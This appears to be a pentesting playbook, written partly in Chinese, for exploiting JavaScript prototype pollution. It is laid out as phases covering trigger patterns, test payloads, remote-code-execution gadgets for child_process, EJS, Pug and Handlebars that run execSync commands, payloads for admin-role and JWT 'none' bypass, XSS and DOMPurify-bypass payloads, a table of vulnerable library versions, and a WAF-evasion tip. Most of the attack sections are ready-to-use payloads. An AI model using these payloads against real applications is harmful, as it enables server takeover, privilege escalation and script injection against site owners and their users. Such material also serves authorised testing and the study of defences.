Core Principle: By modifying the
Object.prototype, inject malicious properties into all JavaScript objects
⛔ Further Reference
- Server-side RCE exploit chain (child_process/EJS/Pug/Handlebars) → references/server-side-rce.md
- Client-side Gadgets (jQuery/Mithril/Vue/DOMPurify bypass) → references/client-side-gadgets.md
Phase 1: Identify Prototype Chain Pollution Points
1.1 Common Trigger Patterns
存在漏洞的代码模式:
├─ 递归合并/深拷贝: merge(target, userInput)
├─ 路径赋值: obj[a][b] = value(a/b 来自用户)
├─ lodash: _.merge / _.defaultsDeep / _.set(旧版本)
├─ jQuery: $.extend(true, {}, userInput)
└─ 自定义 deepCopy/assign 函数
1.2 Test Payload
// 方式 1: __proto__ 直接注入
{"__proto__": {"polluted": "yes"}}
// 方式 2: constructor.prototype
{"constructor": {"prototype": {"polluted": "yes"}}}
// 方式 3: 嵌套路径注入(URL 参数场景)
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes
// 方式 4: JSON 数组绕过(某些 parser 处理差异)
[{"__proto__": {"polluted": "yes"}}]
1.3 Detect Success
// 服务端验证(如能执行代码)
console.log({}.polluted); // 输出 "yes" = 污染成功
// 黑盒验证:观察应用行为变化
// 例如:污染 admin=true → 获取管理员权限
Phase 2: Server-side Exploitation (RCE First)
2.1 Decision Tree
目标环境?
├─ Node.js + child_process 可触发
│ └─ 污染 shell/env/NODE_OPTIONS → RCE
├─ Node.js + 模板引擎(EJS/Pug/Handlebars)
│ └─ 污染模板编译选项 → RCE
├─ Node.js + 认证逻辑
│ └─ 污染 isAdmin/role → 权限绕过
└─ 无直接 RCE 路径
└─ 污染配置项(DEBUG/verbose)→ 信息泄露
2.2 RCE via child_process
// 污染 child_process.spawn 的默认选项
{"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/environ"
}}
// 或通过 env 注入
{"__proto__": {
"env": {
"NODE_OPTIONS": "--require=./malicious.js"
},
"shell": "/bin/bash"
}}
2.3 RCE via EJS Template Engine
// EJS 编译时会检查 opts.outputFunctionName
// 如果被污染,注入的代码会在模板编译时执行
{"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
}}
// EJS 3.x 另一向量
{"__proto__": {
"client": true,
"escapeFunction": "1;return process.mainModule.require('child_process').execSync('id');"
}}
2.4 RCE via Pug/Jade
// Pug 模板引擎
{"__proto__": {
"block": {
"type": "Text",
"val": "x]);process.mainModule.require('child_process').execSync('id');//"
}
}}
2.5 RCE via Handlebars
// Handlebars 4.x
{"__proto__": {
"main": "\n return process.mainModule.require('child_process').execSync('id').toString();\n"
}}
2.6 Privilege Bypass
// 应用检查 user.isAdmin 或 user.role
// 如果未显式设置,会继承 prototype 的值
{"__proto__": {"isAdmin": true}}
{"__proto__": {"role": "admin"}}
{"__proto__": {"verified": true}}
// JWT 验证绕过(某些实现)
{"__proto__": {"algorithm": "none"}}
Phase 3: Client-side Exploitation
3.1 XSS via DOM Property Pollution
// 污染 innerHTML 相关属性
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
// 通过 URL 参数污染(某些 SPA 框架解析 query string)
?__proto__[src]=data:,alert(1)
?__proto__[onload]=alert(1)
3.2 Bypass DOMPurify/Sanitizer
// 某些版本的 DOMPurify 可通过原型链污染绕过
{"__proto__": {"ALLOWED_TAGS": ["img", "script"]}}
{"__proto__": {"ADD_ATTR": ["onerror", "onload"]}}
// 或禁用清理
{"__proto__": {"RETURN_DOM": true}}
3.3 jQuery Gadget
// jQuery < 3.4.0 的 $.extend 存在原型链污染
// 配合 HTML 属性注入
{"__proto__": {"class": "xss-class", "onclick": "alert(1)"}}
Phase 4: Common Framework Vulnerable Versions
| Library | Vulnerable Versions | CVE |
|---|---|---|
| lodash merge | < 4.17.12 | CVE-2019-10744 |
| lodash defaultsDeep | < 4.17.12 | CVE-2019-10744 |
| jQuery extend | < 3.4.0 | CVE-2019-11358 |
| minimist | < 1.2.6 | CVE-2021-44906 |
| class-transformer | < 0.3.1 | — |
| Hoek (hapi) | < 5.0.3 | CVE-2018-3728 |
| Handlebars | < 4.6.0 | CVE-2019-19919 |
| EJS | < 3.1.7 | CVE-2022-29078 |
Phase 5: Automated Discovery
# 静态扫描(源代码审计)
grep -rn "merge\|assign\|extend\|deepCopy" --include="*.js" .
grep -rn "\[.*\]\[.*\].*=" --include="*.js" . # 动态路径赋值
# 依赖版本检查
npm audit
npm ls lodash # 检查 lodash 版本
# 动态测试
# 在所有 JSON 输入点注入 __proto__ payload
# 观察响应变化或新属性出现
⛔ Notes
- Node.js's
--disable-proto=throwoption prevents__proto__access Object.create(null)Object created with no prototype → cannot be polluted- ES2022
Object.hasOwn()is not affected by the prototype - Some WAFs filter
__proto__→ useconstructor.prototypeto bypass